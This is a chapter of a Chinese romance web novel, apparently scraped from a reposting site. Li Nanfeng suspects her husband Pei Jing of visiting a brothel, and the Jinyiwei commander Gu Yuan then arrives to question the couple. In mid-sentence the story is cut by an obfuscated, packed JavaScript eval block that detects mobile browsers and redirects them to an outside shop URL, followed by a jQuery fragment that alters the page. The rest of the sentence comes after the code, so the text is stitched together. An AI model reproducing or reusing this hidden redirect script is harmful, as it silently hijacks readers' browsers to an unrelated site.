“什么!裴璟这家伙,我都回家了他还不回家。如果是出去给我买礼物也就算了,居然是去红香居找女人?看来我最近是太给他好脸了,他居然都敢出去找女人了。”
李南风来回踱步,越想越气。
走着走着,又突然愣神:“裴璟去红香居,关我什么事呢?反正最后都要和离的。”
她心里很乱,好像那天裴璟给她放了漫天风筝,最后风筝全部缠在一起一样乱。
今天天气不错,但李南风却心里燥热烦闷。
裴璟到家后,听门口仆从说李南风已经回来了,顿时大惊,左脚踩着右脚摔倒在地:
“完蛋了,今天居然是我晚归。”
他揉着胳膊肘,悄咪咪的躲到书房,让裴方先去打探。
裴方无语地摇了摇头,叹了口气,蹑手蹑脚地躲在门口偷听。
“你在干什么?”
裴方感到背后传来一股寒气,机械地扭过头,裂开嘴角尴尬地笑了笑。
“双……双儿,我……呃……”
“别嗯嗯啊啊的了,我们小姐今天已经睡了,你和你家少爷多在外面玩会吧,反正外面的女人总归比家里的好。”
裴方听后乖乖滚回书房,和裴璟汇报情况。
“睡了?这才什么时辰,太阳都没落山。她晚饭吃了吗?这么早就睡,是不是生病了?难道是在外面受了委屈?裴方,你怎么什么都没打听明白,快快快,再去探探。”
“算了吧,少爷,我看我们和少奶奶就是八字不合。你惹少奶奶生气也就算了,连带着双儿也生我气,还说我在外面找女人,天地良心,外面的女人我看都不看一眼。”
“你说什么?”
裴璟枕着下巴思索着:“难道……我们去红香居的事情被发现了?真是倒霉,我这辈子第一次去红香居,怎么就被她们看见了。不对啊……家丁刚才说她们中午就回来了,那时候我才刚到红香居,难道……难道南风回来见我不在,又出来找我?”
裴璟一下起身,双手一拍,眼睛一亮:
“没错!”
裴方被吓一跳:“少爷,你干嘛啊?”
裴璟背着手,围着裴方边打转,边摇头。
“啧啧啧,裴方啊,你还是太年轻了,这么点事都想不通,我夫人明显就是吃醋了。这说明她心里有我,在乎我,关心我。”
哈哈哈哈,裴璟突然大笑起来。此时如果给他一个号角,他一定能把声音吹到北燕去。
今夜,裴璟睡在粉红色的书房。
第二天一早,裴璟就差使裴方去红香居拿给李南风准备的礼物,尽管裴方说这会肯定拿不到,裴璟还是让他去等着,一做好就取回来。
他美滋滋的在书房等着。
他为李南风准备的礼物是一条腰带。他幻想着李南风拿到腰带后开心的表情,倒是自己亲手帮她系上,再顺手一拉,一搂,一抱,一亲,就算李南风是唐僧再世,也定会沉沦在自己温柔的怀抱中。
李南风却一晚上没睡好,她一直以为裴璟会来房间认错。每当外面有动静时,她都会抬头,有时是风声,有时是落叶,有时只是有人路过。
她躺在床上,默默的看着床顶,这四四方方的床,仿佛一个牢笼。她原本以为这个牢笼中有裴璟陪她,但现在看来,裴璟对她也不过是一时新鲜罢了。
或许过几日就会有新的夫人进门,之前裴璟家就希望娶个公主,若是裴家将北燕击退,那和亲之事自然作废,到时候自己还能做他成为驸马的绊脚石吗?
她迷迷糊糊的睡去,迷迷糊糊的醒来,已经是第二天中午了。
“小姐,小姐,不好了,锦衣卫来了。”
“锦衣卫?”李南风翻身坐起,“这段时间,我没打人,没放火,没抢东西,还救了顾元一命,锦衣卫怎么会上门来抓我呢?不,不是我,难道是裴璟?难道成亲后的男子去红香居要被锦衣卫抓捕?锦衣卫连这个都管?”
她急忙起身梳洗,粗暴的扯着发梢,真是越急越乱,头发居然打结了。她想喊双儿帮忙,回头看着空荡荡的房间,才想起双儿出去打探情况了。
“没想到梳个头发这么麻烦,看来裴璟还是有两下子,上次帮我梳头真是梳得不错,若是他真被锦衣卫抓了,我也只能去找顾元求情了,不过我用什么身份去说呢?顾元要是知道我是女人,不把我眼睛搓瞎,手脚都砍下来才怪。”
砰砰砰!砰砰砰!
“谁啊!这么重敲门,还有没有点规矩。”
“裴夫人,锦衣卫指挥使请你到书房一叙。”
我?李南风心里打鼓,难道是夫君犯法,夫人同罪?冤枉啊!
“知道了,我一会就来。”
她翻着箱底,终于找出一块面纱,轻轻带上,对着镜子左右看着:“这下顾元肯定认不出我了。”
书房内,气氛焦灼,虽然还在春日,却仿佛能听到蝉鸣。
裴璟和顾元面对面而坐,坐在离对方最远的地方。
顾元悠闲地品着茶:“裴府的茶叶果然与众不同,竟比我在宫里喝得还要好,看来,坊间传闻裴府富可敌国,并非虚言。”
裴璟紧张地捏着衣角,本想看看裴方为自己打打气,却想起裴方被自己派出去请父亲母亲了:“顾元这家伙,专挑父亲母亲出门上香之日前来,定是不怀好意,刚刚那番话,难道是宫里对我们裴家有所不满,想借他的嘴敲打敲打裴家,让我们上贡财产,充盈国库?”
“指挥使说笑了,我家这里的茶叶,都是街上随便买的,可能是今日指挥使累了,所以觉得解渴。”
顾元放下茶杯,抬眼看着裴璟。
裴璟被顾元盯着,看着他凌厉的眼神,连吞几大口口水。
“裴小将军谦虚了,我听说裴小将军今年去了宁王家千金李南风,裴家正是成为皇亲国戚,风头正盛,喝一些好茶也很正常。对了,怎么不见你夫人?”
“哦,她有些不舒服,还在休息。”
“不舒服?正好我略通医术,不如请尊夫人出来,我帮她看看?”
“不……”
裴璟的“必”字还没说出口,锦衣卫就在顾元的示意下超李南风房间走去。
裴璟见顾元来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17201750|197212||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
势汹汹,担心是李南风借用镇街虎之名闯的祸被发现了,急忙起身想要阻止。
但屁股刚抬起来,就被两个锦衣卫摁了回去,动弹不得。
“算了,”裴璟看着高大的锦衣卫,心里想道,“就算南风真是犯了什么事,让父亲去皇上那里求求情,总能放出来的,实在不行,就让父亲把家里值钱的东西都上交了,父亲那满屋子的字画,放着也是积灰。”
李南风用一把大扇子遮住脸,偷偷地站在门口。还没偷听到几句话,就被锦衣卫发现,带了进去。
裴璟和顾元看到李南风,都瞪大了眼睛。
李南风今天特地穿了一身鲜艳的衣裙,热烈动人,因需要遮住半张脸,所以画了很浓的眼妆和额头的花钿,妩媚动人。
裴璟心想:“完了,李南风打扮得这么好看,看来真是闯了大祸了。”他慢慢闭上眼,盘算着家里的财产。
顾元深吸一口气,也慢慢闭上眼,不然他的心就要从眼睛里面跳出来了。
李南风看着闭目沉思的两人,满心疑惑:“这两人,什么毛病啊。”
她找了个中间位置坐下,将拿着扇子的手肘撑在扶手上。
“咳咳,喂,两位,天亮了,别睡了。”
裴璟猛地回过神来,急忙摆手示意李南风别乱说话,悄悄指了指顾元。
顾元慢慢睁开眼,想看李南风,又不敢看,导致眼珠在眼里左右乱转。
书房内再次回归沉默,裴璟不知道顾元的真实来意,不敢随便说话,顾元害怕和李南风对视,不想第一个说话,李南风带着面纱和扇子,累得不想说话,锦衣卫们看着顾头不说话,也不敢说话。
李南风左看看裴璟,右看看顾元,看着这两个闷葫芦,越看越气。
“既然没事,那我先走了。”
“慢着!”裴璟和顾元异口同声喊出口。
原本坐着的三人,此刻全都站了起来。
顾元看着比自己矮小半个头的裴璟,嘴角按耐不住得意的上扬,心中有了底气。
“裴夫人为何掩面,不敢用真面目示人?”
李南风看着顾元,他不是冲着裴璟来的吗,管这么多干嘛。
“我今日感染风寒,脸上起了红疹,因此掩面,怎么?就因为这样,锦衣卫要抓我吗?”
裴璟急忙走到李南风身旁,轻抚她的后背,在她耳边低声说道:“算了算了,锦衣卫咱们惹不起,这次他好像是冲你来的,你要是犯了什么错,道歉就行,你放心,我肯定会去牢里把你赎出来。”
“我?”
“你小声些。”
裴璟用手轻轻把李南风的头扭过来,捂住李南风的嘴巴。
顾元站在他们两对面,隔着扇子,只见到两人耳鬓厮磨,脸对着脸动来动去。
他气得一屁股坐回凳子,拿起茶壶直接往嘴里灌。
张剑见顾头如此失态,便知道他起了杀心,拔出佩剑横在裴璟和李南风脖子前面。
“你们俩,回自己的位子上坐着,问什么就答什么,若是不老实回答,就只能请你们去牢里住几天了。”